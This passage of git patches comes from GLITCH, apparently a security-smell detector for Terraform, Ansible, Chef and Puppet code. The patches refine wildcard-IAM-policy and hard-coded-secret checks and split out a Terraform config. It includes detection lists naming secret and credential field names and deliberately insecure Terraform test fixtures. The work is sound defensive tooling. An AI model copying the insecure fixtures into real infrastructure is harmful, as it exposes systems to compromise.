["*"]: - sensitive_resource = True - break - i += 1 - resource = self.check_required_attribute(element.attributes, ["statement"], f"resources[{i}]") - if (sensitive_action and sensitive_resource): - errors.append(Error('sec_sensitive_iam_action', action, file, repr(action))) + statements = self.check_required_attribute(element.attributes, [""], "statement", return_all=True) + if statements: + for statement in statements: + allow = self.check_required_attribute(statement.keyvalues, [""], "effect") + if ((allow and allow.value.lower() == "allow") or (not allow)): + sensitive_action = False + i = 0 + action = self.check_required_attribute(statement.keyvalues, [""], f"actions[{i}]") + while action: + if ("*" in action.value.lower()): + sensitive_action = True + break + i += 1 + action = self.check_required_attribute(statement.keyvalues, [""], f"actions[{i}]") + if sensitive_action: + errors.append(Error('sec_sensitive_iam_action', action, file, repr(action))) + wildcarded_resource = False + i = 0 + resource = self.check_required_attribute(statement.keyvalues, [""], f"resources[{i}]") + while resource: + if (resource.value.lower() in ["*"]) or (":*" in resource.value.lower()): + wildcarded_resource = True + break + i += 1 + resource = self.check_required_attribute(statement.keyvalues, [""], f"resources[{i}]") + if wildcarded_resource: + errors.append(Error('sec_sensitive_iam_action', resource, file, repr(resource))) + elif (element.type in ["resource.aws_iam_role_policy", "resource.aws_iam_policy", + "resource.aws_iam_user_policy", "resource.aws_iam_group_policy"]): + policy = self.check_required_attribute(element.attributes, [""], "policy") + if policy: + policy_dict = convert_string_to_dict(policy.value.lower()) + if policy_dict and policy_dict["statement"]: + statements = policy_dict["statement"] + if isinstance(statements, dict): + statements = [statements] + for statement in statements: + if statement["effect"] and statement["action"] and statement["resource"]: + if statement["effect"] == "allow": + if isinstance(statement["action"], list): + for action in statement["action"]: + if ("*" in action): + errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) + break + else: + if ("*" in statement["action"]): + errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) + if isinstance(statement["resource"], list): + for resource in statement["resource"]: + if (resource in ["*"]) or (":*" in resource): + errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) + break + else: + if (statement["resource"] in ["*"]) or (":*" in statement["resource"]): + errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) elif isinstance(element, Attribute) or isinstance(element, Variable): pass @@ -1067,7 +1123,7 @@ def config(self, config_path: str): SecurityVisitor.__CRYPT_WHITELIST = json.loads(config['security']['weak_crypt_whitelist']) SecurityVisitor.__URL_WHITELIST = json.loads(config['security']['url_http_white_list']) SecurityVisitor.__SENSITIVE_DATA = json.loads(config['security']['sensitive_data']) - SecurityVisitor.__KEY_ASSIGN = json.loads(config['security']['key_value_assign']) + SecurityVisitor.__SECRET_ASSIGN = json.loads(config['security']['secret_value_assign']) SecurityVisitor.__GITHUB_ACTIONS = json.loads(config['security']['github_actions_resources']) SecurityVisitor._INTEGRITY_POLICY = json.loads(config['security']['integrity_policy']) SecurityVisitor.__SECRETS_WHITELIST = json.loads(config['security']['secrets_white_list']) @@ -1250,19 +1306,21 @@ def get_module_var(c, name: str): if (re.match(r'[_A-Za-z0-9$\/\.\[\]-]*{text}\b'.format(text=item), name) and name.split("[")[0] not in SecurityVisitor.__SECRETS_WHITELIST): if (not has_variable or var): - errors.append(Error('sec_hard_secr', c, file, repr(c))) - - if (item in SecurityVisitor.__PASSWORDS): - errors.append(Error('sec_hard_pass', c, file, repr(c))) - elif (item in SecurityVisitor.__USERS): - errors.append(Error('sec_hard_user', c, file, repr(c))) - + if not has_variable: if (item in SecurityVisitor.__PASSWORDS and len(value) == 0): errors.append(Error('sec_empty_pass', c, file, repr(c))) - elif var: + break + if var: if (item in SecurityVisitor.__PASSWORDS and var.value != None and len(var.value) == 0): errors.append(Error('sec_empty_pass', c, file, repr(c))) + break + + errors.append(Error('sec_hard_secr', c, file, repr(c))) + if (item in SecurityVisitor.__PASSWORDS): + errors.append(Error('sec_hard_pass', c, file, repr(c))) + elif (item in SecurityVisitor.__USERS): + errors.append(Error('sec_hard_user', c, file, repr(c))) break @@ -1271,18 +1329,18 @@ def get_module_var(c, name: str): if len(value) > 0 and '/id_rsa' in value: errors.append(Error('sec_hard_secr', c, file, repr(c))) - for item in SecurityVisitor.__MISC_SECRETS: - if (re.match(r'([_A-Za-z0-9$-]*[-_]{text}([-_].*)?$)|(^{text}([-_].*)?$)'.format(text=item), name) - and name.split("[")[0] not in SecurityVisitor.__SECRETS_WHITELIST and len(value) > 0 and not has_variable): - errors.append(Error('sec_hard_secr', c, file, repr(c))) + if self.tech != Tech.terraform: + for item in SecurityVisitor.__MISC_SECRETS: + if (re.match(r'([_A-Za-z0-9$-]*[-_]{text}([-_].*)?$)|(^{text}([-_].*)?$)'.format(text=item), name) + and len(value) > 0 and not has_variable): + errors.append(Error('sec_hard_secr', c, file, repr(c))) for item in SecurityVisitor.__SENSITIVE_DATA: if item.lower() in name: - for item_value in (SecurityVisitor.__KEY_ASSIGN + SecurityVisitor.__PASSWORDS + - SecurityVisitor.__SECRETS): + for item_value in (SecurityVisitor.__SECRET_ASSIGN): if item_value in value.lower(): errors.append(Error('sec_hard_secr', c, file, repr(c))) - if (item_value in SecurityVisitor.__PASSWORDS): + if ("password" in item_value): errors.append(Error('sec_hard_pass', c, file, repr(c))) if (au_type in SecurityVisitor.__GITHUB_ACTIONS and name == "plaintext_value"): @@ -1327,7 +1385,9 @@ def check_comment(self, c: Comment, file: str) -> list[Error]: stop = False for word in SecurityVisitor.__WRONG_WORDS: for line in lines: - if word in line.lower(): + tokenizer = WordPunctTokenizer() + tokens = tokenizer.tokenize(line.lower()) + if word in tokens: errors.append(Error('sec_susp_comm', c, file, line)) stop = True if stop: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index a6d1ffa7..25ff7cf5 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -1,6 +1,6 @@ [security] suspicious_words = ["bug", "debug", "todo", "to-do", "to_do", "to be implemented", "fix", - "issue", "problem", "solve", "hack", "ticket", "later", "incorrect", "fixme"] + "issue", "issues", "problem", "solve", "hack", "ticket", "later", "incorrect", "fixme"] passwords = ["pass", "pwd", "password", "passwd", "passno", "pass-no", "pass_no"] users = ["root", "user", "uname", "username", "user-name", "user_name", "owner-name", "owner_name", "admin", "login", "userid", "loginid"] @@ -10,7 +10,7 @@ secrets = ["auth_token", "authetication_token","auth-token", "authentication-tok "ssh_key_content", "ssh-key-content", "ssh_key_public", "ssh-key-public", "ssh_key_private", "ssh-key-private", "ssh_key_public_content", "ssh_key_private_content", - "ssh-key-public-content", "ssh-key-private-content"] + "ssh-key-public-content", "ssh-key-private-content", "raw_key"] misc_secrets = ["key", "cert"] roles = [] download_extensions = ["iso", "tar", "tar.gz", "tar.bzip2", "zip", @@ -22,7 +22,7 @@ weak_crypt = ["md5", "sha1", "arcfour"] weak_crypt_whitelist = ["checksum"] url_http_white_list = ["localhost", "127.0.0.1"] sensitive_data = ["user_data", "container_definitions", "custom_data"] -key_value_assign = ["key_id=", "access_key=", "key=", "database_password="] +secret_value_assign = ["key_id=", "access_key=", "key=", "database_password=", "password=", "\"name\": \"database_password\""] policy_keywords = ["policy"] policy_insecure_access_control = [{"keyword": "\"principal\":", "value": "\"\\*\""}, @@ -39,8 +39,8 @@ encrypt_configuration = [{"au_type": ["resource.aws_emr_security_configuration"] "value": "\"sse-kms\"", "required": "yes"}, {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"encryptionkeyprovidertype\":", "value": "\"\"", "required": "must_not_exist"}, - {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"encryptionkeyprovidertype\":", - "value": "", "required": "yes"}] + {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"awskmskey\":", + "value": "\"\"", "required": "must_not_exist"}] secrets_white_list = ["cloudfront_default_certificate", "client_cert_enabled", "api_key_required", "issue_client_certificate", "kms_key_id", "kms_key_arn", "key_arn", "performance_insights_kms_key_id", "kms_master_key_id", "kms_key_self_link", "bypass", @@ -93,7 +93,7 @@ ssl_tls_policy = [{"au_type": ["resource.aws_api_gateway_domain_name"], "attribu {"au_type": ["resource.azurerm_mssql_server"], "attribute": "minimum_tls_version", "parents": [""], "values": ["1.2"], "required": "no"}, {"au_type": ["resource.google_sql_database_instance"], "attribute": "ip_configuration", "parents": ["settings"], - "values": ["true"], "required": "yes", "msg": "settings.ip_configuration.require_ssl"}, + "values": [""], "required": "yes", "msg": "settings.ip_configuration.require_ssl"}, {"au_type": ["resource.google_sql_database_instance"], "attribute": "require_ssl", "parents": ["ip_configuration"], "values": ["true"], "required": "yes", "msg": "settings.ip_configuration.require_ssl"}, {"au_type": ["resource.azurerm_app_service"], "attribute": "client_cert_enabled", "parents": [""], @@ -241,7 +241,7 @@ missing_encryption = [{"au_type": ["resource.aws_api_gateway_method_settings"], firewall = [{"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "web_acl_id", "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "web_acl_id"}, - {"au_type": ["resource.aws_alb", "resource.aws_lb"], "attribute": "internal", "parents": [""], "values": ["true"], + {"au_type": ["resource.aws_alb", "resource.aws_lb", "resource.aws_elb"], "attribute": "internal", "parents": [""], "values": ["true"], "required": "yes", "msg": "internal"}, {"au_type": ["resource.aws_alb", "resource.aws_lb"], "attribute": "drop_invalid_header_fields", "parents": [""], "values": ["true"], "required": "yes", "msg": "drop_invalid_header_fields"}, @@ -304,8 +304,8 @@ password_key_policy = [{"au_type": ["resource.aws_iam_account_password_policy"], key_management = [{"au_type": ["resource.aws_cloudwatch_log_group", "resource.aws_docdb_cluster", "resource.aws_ebs_volume", "resource.aws_secretsmanager_secret", "resource.aws_kinesis_stream", "resource.aws_cloudtrail", "resource.aws_rds_cluster", - "resource.aws_db_instance", "resource.aws_redshift_cluster", "aws_db_instance_automated_backups_replication", - "aws_rds_cluster_activity_stream"], + "resource.aws_db_instance", "resource.aws_redshift_cluster", "resource.aws_db_instance_automated_backups_replication", + "resource.aws_rds_cluster_activity_stream"], "attribute": "kms_key_id", "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "kms_key_id"}, {"au_type": ["resource.aws_dynamodb_table"], "attribute": "kms_key_arn", "parents": ["server_side_encryption"], "values": ["any_not_empty"], "required": "yes", "msg": "server_side_encryption.kms_key_arn"}, @@ -338,8 +338,6 @@ key_management = [{"au_type": ["resource.aws_cloudwatch_log_group", "resource.aw {"au_type": ["resource.google_storage_bucket"], "attribute": "default_kms_key_name", "parents": ["encryption"], "values": ["any_not_empty"], "required": "yes", "msg": "encryption.default_kms_key_name"}] - - network_security_rules = [{"au_type": ["resource.azurerm_storage_account_network_rules"], "attribute": "default_action", "parents": [""], "values": ["deny"], "required": "yes", "msg": "default_action"}, {"au_type": ["resource.azurerm_storage_account"], "attribute": "default_action", diff --git a/glitch/parsers/cmof.py b/glitch/parsers/cmof.py index 37a2dc6a..d0413a33 100644 --- a/glitch/parsers/cmof.py +++ b/glitch/parsers/cmof.py @@ -1461,10 +1461,13 @@ def create_keyvalue(start_line, end_line, name: str, value: str): has_variable = False if value == "null": value = "" + if isinstance(value, int): + value = str(value) + if type == "attribute": - keyvalue = Attribute(name, value, has_variable) + keyvalue = Attribute(str(name), value, has_variable) elif type == "variable": - keyvalue = Variable(name, value, has_variable) + keyvalue = Variable(str(name), value, has_variable) keyvalue.line = start_line keyvalue.code = TerraformParser.__get_element_code(start_line, end_line, code) return keyvalue diff --git a/glitch/tests/parser/terraform/test_parser.py b/glitch/tests/parser/terraform/test_parser.py index 45474775..7dcfed83 100644 --- a/glitch/tests/parser/terraform/test_parser.py +++ b/glitch/tests/parser/terraform/test_parser.py @@ -20,7 +20,7 @@ def test_terraform_empty_string(self): self.__help_test("tests/parser/terraform/files/empty_string_assign.tf", attributes) def test_terraform_boolean_value(self): - attributes = "[account_id:True]" + attributes = "[account_id:'True']" self.__help_test("tests/parser/terraform/files/boolean_value_assign.tf", attributes) def test_terraform_multiline_string(self): @@ -36,7 +36,7 @@ def test_terraform_dict_value(self): self.__help_test("tests/parser/terraform/files/dict_value_assign.tf", attributes) def test_terraform_list_value(self): - attributes = "[keys[0]:'value1', keys[1][0]:1, keys[1][1]:None:[key2:'value2'], keys[2]:None:[key3:'value3']]" + attributes = "[keys[0]:'value1', keys[1][0]:'1', keys[1][1]:None:[key2:'value2'], keys[2]:None:[key3:'value3']]" self.__help_test("tests/parser/terraform/files/list_value_assign.tf", attributes) def test_terraform_dynamic_block(self): diff --git a/glitch/tests/security/ansible/test_security.py b/glitch/tests/security/ansible/test_security.py index 7dd0cc40..41be56d8 100644 --- a/glitch/tests/security/ansible/test_security.py +++ b/glitch/tests/security/ansible/test_security.py @@ -42,7 +42,7 @@ def test_ansible_empt_pass(self): self.__help_test( "tests/security/ansible/files/empty.yml", "tasks", - 3, ["sec_empty_pass", "sec_hard_pass", "sec_hard_secr"], [8, 8, 8] + 1, ["sec_empty_pass"], [8] ) def test_ansible_weak_crypt(self): diff --git a/glitch/tests/security/chef/test_security.py b/glitch/tests/security/chef/test_security.py index 3cec7c7e..4e0a0853 100644 --- a/glitch/tests/security/chef/test_security.py +++ b/glitch/tests/security/chef/test_security.py @@ -38,7 +38,7 @@ def test_chef_def_admin(self): def test_chef_empt_pass(self): self.__help_test( "tests/security/chef/files/empty.rb", - 3, ["sec_empty_pass", "sec_hard_pass", "sec_hard_secr"], [1, 1, 1] + 1, ["sec_empty_pass"], [1] ) def test_chef_weak_crypt(self): diff --git a/glitch/tests/security/puppet/test_security.py b/glitch/tests/security/puppet/test_security.py index 07028d01..b81efb4e 100644 --- a/glitch/tests/security/puppet/test_security.py +++ b/glitch/tests/security/puppet/test_security.py @@ -38,7 +38,7 @@ def test_puppet_def_admin(self): def test_puppet_empt_pass(self): self.__help_test( "tests/security/puppet/files/empty.pp", - 3, ["sec_empty_pass", "sec_hard_pass", "sec_hard_secr"], [1, 1, 1] + 1, ["sec_empty_pass"], [1] ) def test_puppet_weak_crypt(self): diff --git a/glitch/tests/security/terraform/files/firewall-misconfiguration/alb-exposed-to-internet.tf b/glitch/tests/security/terraform/files/firewall-misconfiguration/alb-exposed-to-internet.tf index e91fdcac..d0081992 100644 --- a/glitch/tests/security/terraform/files/firewall-misconfiguration/alb-exposed-to-internet.tf +++ b/glitch/tests/security/terraform/files/firewall-misconfiguration/alb-exposed-to-internet.tf @@ -1,8 +1,8 @@ -resource "aws_alb" "bad_example" { +resource "aws_lb" "bad_example" { drop_invalid_header_fields = true } -resource "aws_alb" "bad_example2" { +resource "aws_lb" "bad_example2" { drop_invalid_header_fields = true internal = false } diff --git a/glitch/tests/security/terraform/files/sensitive-action-by-iam/aws-iam-no-policy-wildcards.tf b/glitch/tests/security/terraform/files/sensitive-action-by-iam/aws-iam-no-policy-wildcards.tf index ebf14f02..a06760d6 100644 --- a/glitch/tests/security/terraform/files/sensitive-action-by-iam/aws-iam-no-policy-wildcards.tf +++ b/glitch/tests/security/terraform/files/sensitive-action-by-iam/aws-iam-no-policy-wildcards.tf @@ -32,7 +32,7 @@ data "aws_iam_policy_document" "good_example" { } } -data "aws_iam_policy_document" "good_example2" { +data "aws_iam_policy_document" "bad_example3" { statement { principals { type = "AWS" diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index bcd4cb0e..8747a70b 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -39,7 +39,7 @@ def test_terraform_def_admin(self): def test_terraform_empt_pass(self): self.__help_test( "tests/security/terraform/files/empty.tf", - 3, ["sec_empty_pass", "sec_hard_pass", "sec_hard_secr"], [5, 5, 5] + 1, ["sec_empty_pass"], [5] ) def test_terraform_weak_crypt(self): @@ -644,7 +644,7 @@ def test_terraform_integrity_policy(self): def test_terraform_sensitive_action_by_iam(self): self.__help_test( "tests/security/terraform/files/sensitive-action-by-iam/aws-iam-no-policy-wildcards.tf", - 2, ["sec_sensitive_iam_action", "sec_sensitive_iam_action"], [7, 19] + 3, ["sec_sensitive_iam_action", "sec_sensitive_iam_action", "sec_sensitive_iam_action"], [7, 8, 20] ) def test_terraform_key_management(self): From 01a4053b77875899d79ae199c7256f2f304cfbdd Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Tue, 3 Oct 2023 17:18:47 +0100 Subject: [PATCH 45/58] changes in configs, one single default config for Terraform Tech. --- glitch/__main__.py | 1 + glitch/analysis/security.py | 9 +- glitch/configs/default.ini | 439 ++--------------- glitch/configs/terraform.ini | 458 ++++++++++++++++++ .../tests/security/terraform/test_security.py | 2 +- 5 files changed, 495 insertions(+), 414 deletions(-) create mode 100644 glitch/configs/terraform.ini diff --git a/glitch/__main__.py b/glitch/__main__.py index 3e712129..ef1e02ea 100644 --- a/glitch/__main__.py +++ b/glitch/__main__.py @@ -71,6 +71,7 @@ def glitch(tech, type, path, config, module, csv, parser = PuppetParser() elif tech == Tech.terraform: parser = TerraformParser() + config = resource_filename('glitch', "configs/terraform.ini") file_stats = FileStats() if smells == (): diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index dbdd81a0..7c904263 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -1329,11 +1329,10 @@ def get_module_var(c, name: str): if len(value) > 0 and '/id_rsa' in value: errors.append(Error('sec_hard_secr', c, file, repr(c))) - if self.tech != Tech.terraform: - for item in SecurityVisitor.__MISC_SECRETS: - if (re.match(r'([_A-Za-z0-9$-]*[-_]{text}([-_].*)?$)|(^{text}([-_].*)?$)'.format(text=item), name) - and len(value) > 0 and not has_variable): - errors.append(Error('sec_hard_secr', c, file, repr(c))) + for item in SecurityVisitor.__MISC_SECRETS: + if (re.match(r'([_A-Za-z0-9$-]*[-_]{text}([-_].*)?$)|(^{text}([-_].*)?$)'.format(text=item), name) + and len(value) > 0 and not has_variable): + errors.append(Error('sec_hard_secr', c, file, repr(c))) for item in SecurityVisitor.__SENSITIVE_DATA: if item.lower() in name: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 25ff7cf5..508a82da 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -10,7 +10,7 @@ secrets = ["auth_token", "authetication_token","auth-token", "authentication-tok "ssh_key_content", "ssh-key-content", "ssh_key_public", "ssh-key-public", "ssh_key_private", "ssh-key-private", "ssh_key_public_content", "ssh_key_private_content", - "ssh-key-public-content", "ssh-key-private-content", "raw_key"] + "ssh-key-public-content", "ssh-key-private-content"] misc_secrets = ["key", "cert"] roles = [] download_extensions = ["iso", "tar", "tar.gz", "tar.bzip2", "zip", @@ -21,438 +21,61 @@ checksum = ["gpg", "checksum"] weak_crypt = ["md5", "sha1", "arcfour"] weak_crypt_whitelist = ["checksum"] url_http_white_list = ["localhost", "127.0.0.1"] -sensitive_data = ["user_data", "container_definitions", "custom_data"] -secret_value_assign = ["key_id=", "access_key=", "key=", "database_password=", "password=", "\"name\": \"database_password\""] +sensitive_data = [] +secret_value_assign = [] -policy_keywords = ["policy"] -policy_insecure_access_control = [{"keyword": "\"principal\":", "value": "\"\\*\""}, - {"keyword": "\"action\":", "value": "\"\\*\""}] -policy_authentication = [{"au_type": ["resource.aws_iam_group_policy"], "keyword": "\"aws:multifactorauthpresent\":", - "value": "\\[\"true\"\\]"}] +policy_keywords = [] +policy_insecure_access_control = [] +policy_authentication = [] -configuration_keywords = ["configuration"] -encrypt_configuration = [{"au_type": ["resource.aws_emr_security_configuration"], - "keyword": "\"enableatrestencryption\":", "value": "true", "required": "yes"}, - {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"enableintransitencryption\":", - "value": "true", "required": "yes"}, - {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"encryptionmode\":", - "value": "\"sse-kms\"", "required": "yes"}, - {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"encryptionkeyprovidertype\":", - "value": "\"\"", "required": "must_not_exist"}, - {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"awskmskey\":", - "value": "\"\"", "required": "must_not_exist"}] +configuration_keywords = [] +encrypt_configuration = [] -secrets_white_list = ["cloudfront_default_certificate", "client_cert_enabled", "api_key_required", "issue_client_certificate", - "kms_key_id", "kms_key_arn", "key_arn", "performance_insights_kms_key_id", "kms_master_key_id", "kms_key_self_link", "bypass", - "enable_key_rotation", "storage_account_access_key_is_secondary", "key_pair", "default_kms_key_name"] +secrets_white_list = [] -github_actions_resources = ["resource.github_actions_environment_secret", - "resource.github_actions_organization_secret", "resource.github_actions_secret"] +github_actions_resources = [] -integrity_policy = [{"au_type": ["resource.google_compute_instance"], "attribute": "enable_integrity_monitoring", - "parents": ["shielded_instance_config"], "values": ["true"], "required": "no"}, - {"au_type": ["resource.google_compute_instance"], "attribute": "enable_vtpm", - "parents": ["shielded_instance_config"], "values": ["true"], "required": "no"}, - {"au_type": ["resource.aws_ecr_repository"], "attribute": "image_tag_mutability", "parents": [""], - "values": ["immutable"], "required": "yes", "msg": "image_tag_mutability"}] +integrity_policy = [] -ensure_https = [{"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "viewer_protocol_policy", - "parents": ["default_cache_behavior", "ordered_cache_behavior"], "values":["redirect-to-https", "https-only"], - "required": "yes", "msg": "cache_behavior.viewer_protocol_policy"}, - {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "enforce_https", "parents": ["domain_endpoint_options"], - "values": ["true"], "required": "yes", "msg": "domain_endpoint_options.enforce_https"}, - {"au_type": ["resource.aws_alb_listener", "resource.aws_lb_listener"], "attribute": "protocol", "parents": [""], - "values": ["https", "tls"], "required": "yes", "msg": "protocol"}, - {"au_type": ["resource.azurerm_app_service", "resource.azurerm_app_service_slot", "resource.azurerm_function_app", - "resource.azurerm_function_app_slot", "resource.azurerm_linux_web_app", "resource.azurerm_windows_web_app"], - "attribute": "https_only", "parents": [""], "values": ["true"], "required": "yes", "msg": "https_only"}, - {"au_type": ["resource.azurerm_storage_account"], "attribute": "enable_https_traffic_only", - "parents": [""], "values": ["true"], "required": "no"}, - {"au_type": ["resource.digitalocean_loadbalancer"], "attribute": "entry_protocol", - "parents": ["forwarding_rule"], "values": ["https"], "required": "no"}] +ensure_https = [] -ssl_tls_policy = [{"au_type": ["resource.aws_api_gateway_domain_name"], "attribute": "security_policy", - "parents": [""], "values": ["tls_1_2", "tls_1_3"], "required": "yes", "msg": "security_policy"}, - {"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "minimum_protocol_version", - "parents": ["viewer_certificate"], "values": ["tlsv1.2_2018", "tlsv1.2_2019", "tlsv1.2_2021"], "required": "yes", - "msg": "viewer_certificate.minimum_protocol_version"}, - {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "tls_security_policy", - "parents": ["domain_endpoint_options"], "values": ["policy-min-tls-1-2-2019-07"], "required": "yes", - "msg": "domain_endpoint_options.tls_security_policy"}, - {"au_type": ["resource.aws_alb_listener", "resource.aws_lb_listener"], "attribute": "ssl_policy", "parents": [""], - "values": ["elbsecuritypolicy-tls-1-2-2017-01", "elbsecuritypolicy-tls-1-2-ext-2018-06"], "required": "no"}, - {"au_type": ["resource.azurerm_app_service", "resource.azurerm_app_service_slot", "resource.azurerm_function_app"], - "parents": ["site_config"], "attribute": "min_tls_version", "values": ["1.2"], "required": "no"}, - {"au_type": ["resource.google_compute_ssl_policy"], "attribute": "min_tls_version", "parents": [""], - "values": ["tls_1_2"], "required": "yes", "msg": "min_tls_version"}, - {"au_type": ["resource.azurerm_postgresql_server", "resource.azurerm_mariadb_server", "resource.azurerm_mysql_server"], - "attribute": "ssl_enforcement_enabled", "parents": [""], "values": ["true"], "required": "yes", - "msg": "ssl_enforcement_enabled"}, - {"au_type": ["resource.azurerm_mysql_server", "resource.azurerm_postgresql_server"], - "attribute": "ssl_minimal_tls_version_enforced", "parents": [""], "values": ["tls1_2"], "required": "no"}, - {"au_type": ["resource.azurerm_mssql_server"], "attribute": "minimum_tls_version", - "parents": [""], "values": ["1.2"], "required": "no"}, - {"au_type": ["resource.google_sql_database_instance"], "attribute": "ip_configuration", "parents": ["settings"], - "values": [""], "required": "yes", "msg": "settings.ip_configuration.require_ssl"}, - {"au_type": ["resource.google_sql_database_instance"], "attribute": "require_ssl", "parents": ["ip_configuration"], - "values": ["true"], "required": "yes", "msg": "settings.ip_configuration.require_ssl"}, - {"au_type": ["resource.azurerm_app_service"], "attribute": "client_cert_enabled", "parents": [""], - "values": ["true"], "required": "yes", "msg": "client_cert_enabled"}, - {"au_type": ["resource.azurerm_storage_account"], "attribute": "min_tls_version", "parents": [""], - "values": ["tls1_2"], "required": "no"}] +ssl_tls_policy = [] -ensure_dnssec = [{"au_type": ["resource.google_dns_managed_zone"], "attribute": "state", - "parents": ["dnssec_config"], "values": ["on"], "required": "yes", "msg": "dnssec_config.state"}] +ensure_dnssec = [] -use_public_ip = [{"au_type": ["resource.aws_launch_configuration", "resource.aws_instance"], - "attribute": "associate_public_ip_address", "parents": [""], "values": ["false"], "required": "no"}, - {"au_type": ["resource.aws_subnet"], "attribute": "map_public_ip_on_launch", "parents": [""], - "values": ["false"], "required": "no"}, - {"au_type": ["resource.google_compute_instance"], "attribute": "access_config", "parents": ["network_interface"], - "values": [""], "required": "must_not_exist"}, - {"au_type": ["resource.opc_compute_ip_address_reservation"], "attribute": "ip_address_pool", "parents": [""], - "values": ["cloud-ippool"], "required": "no"}] +use_public_ip = [] -insecure_access_control = [{"au_type": ["resource.aws_eks_cluster"], "attribute": "endpoint_public_access", - "parents": ["vpc_config"], "values": ["false"], "required": "yes", "msg": "vpc_config.endpoint_public_access"}, - {"au_type": ["resource.aws_eks_cluster"], "attribute": "public_access_cidrs[0]", "parents": ["vpc_config"], - "values": [""], "required": "yes", "msg": "vpc_config.public_access_cidrs"}, - {"au_type": ["resource.aws_lambda_permission"], "attribute": "source_arn", "parents": [""], - "values": [""], "required": "yes", "msg": "source_arn"}, - {"au_type": ["resource.aws_db_instance", "resource.aws_rds_cluster_instance"], "attribute": "publicly_accessible", "parents": [""], - "values": ["false"], "required": "no"}, - {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "block_public_acls", "parents": [""], - "values": ["true"], "required": "yes", "msg": "block_public_acls"}, - {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "block_public_policy", "parents": [""], - "values": ["true"], "required": "yes", "msg": "block_public_policy"}, - {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "restrict_public_buckets", "parents": [""], - "values": ["true"], "required": "yes", "msg": "restrict_public_buckets"}, - {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "ignore_public_acls", "parents": [""], - "values": ["true"], "required": "yes", "msg": "ignore_public_acls"}, - {"au_type": ["resource.aws_s3_bucket"], "attribute": "acl", "parents": [""], - "values": ["private", "aws-exec-read", "log-delivery-write"], "required": "no"}, - {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "authorized_ip_ranges[0]", - "parents": ["api_server_access_profile"], "values": [""], "required": "yes", - "msg": "api_server_access_profile.authorized_ip_ranges"}, - {"au_type": ["resource.azurerm_postgresql_server", "resource.azurerm_mariadb_server", "resource.azurerm_mssql_server", - "resource.azurerm_mysql_server"], "attribute": "public_network_access_enabled", "parents": [""], - "values": ["false"], "required": "yes", "msg": "public_network_access_enabled"}, - {"au_type": ["resource.azurerm_data_factory"], "attribute": "public_network_enabled", "parents": [""], - "values": ["false"], "required": "yes", "msg": "public_network_enabled"}, - {"au_type": ["resource.digitalocean_spaces_bucket"], "attribute": "acl", "parents": [""], - "values": ["private"], "required": "yes", "msg": "acl"}, - {"au_type": ["resource.digitalocean_spaces_bucket_object"], "attribute": "acl", "parents": [""], - "values": ["private"], "required": "no"}, - {"au_type": ["resource.google_bigquery_dataset"], "attribute": "special_group", "parents": ["access"], - "values": ["projectowners", "projectreaders", "projectwriters"], "required": "no"}, - {"au_type": ["resource.google_container_cluster"], "attribute": "enable_private_nodes", - "parents": ["private_cluster_config"], "values": ["true"], "required": "yes", - "msg": "private_cluster_config.enable_private_nodes"}, - {"au_type": ["resource.aws_mq_broker"], "attribute": "publicly_accessible", "parents": [""], "values": ["false"], - "required": "no"}, - {"au_type": ["resource.aws_athena_workgroup"], "attribute": "enforce_workgroup_configuration", - "parents": ["configuration"], "values": ["true"], "required": "no"}, - {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "role_based_access_control_enabled", - "parents": [""], "values": ["true"], "required": "no"}, - {"au_type": ["resource.google_container_cluster"], "attribute": "enable_legacy_abac", - "parents": [""], "values": ["false"], "required": "no"}, - {"au_type": ["resource.google_storage_bucket"], "attribute": "uniform_bucket_level_access", - "parents": [""], "values": ["true"], "required": "yes", "msg": "uniform_bucket_level_access"}, - {"au_type": ["resource.google_compute_instance"], "attribute": "email", - "parents": ["service_account"], "values": [""], "required": "yes", "msg": "service_account.email"}, - {"au_type": ["resource.azurerm_storage_container"], "attribute": "container_access_type", "parents": [""], - "values": ["private"], "required": "no"}] +insecure_access_control = [] -authentication = [{"au_type": ["resource.azurerm_app_service", "resource.azurerm_function_app"], "attribute": "enabled", - "parents": ["auth_settings"], "values": ["true"], "required": "yes", "msg": "auth_settings.enabled"}, - {"au_type": ["resource.azurerm_linux_virtual_machine", "resource.azurerm_linux_virtual_machine_scale_set"], - "attribute": "disable_password_authentication", "parents": [""], "values": ["true"], "required": "no"}, - {"au_type": ["resource.azurerm_virtual_machine"], "attribute": "disable_password_authentication", - "parents": ["os_profile_linux_config"], "values": ["true"], "required": "yes", - "msg": "os_profile_linux_config.disable_password_authentication"}, - {"au_type": ["resource.google_container_cluster"], "attribute": "issue_client_certificate", - "parents": ["client_certificate_config"], "values": ["false"], "required": "no"}] +authentication = [] -missing_encryption = [{"au_type": ["resource.aws_api_gateway_method_settings"], 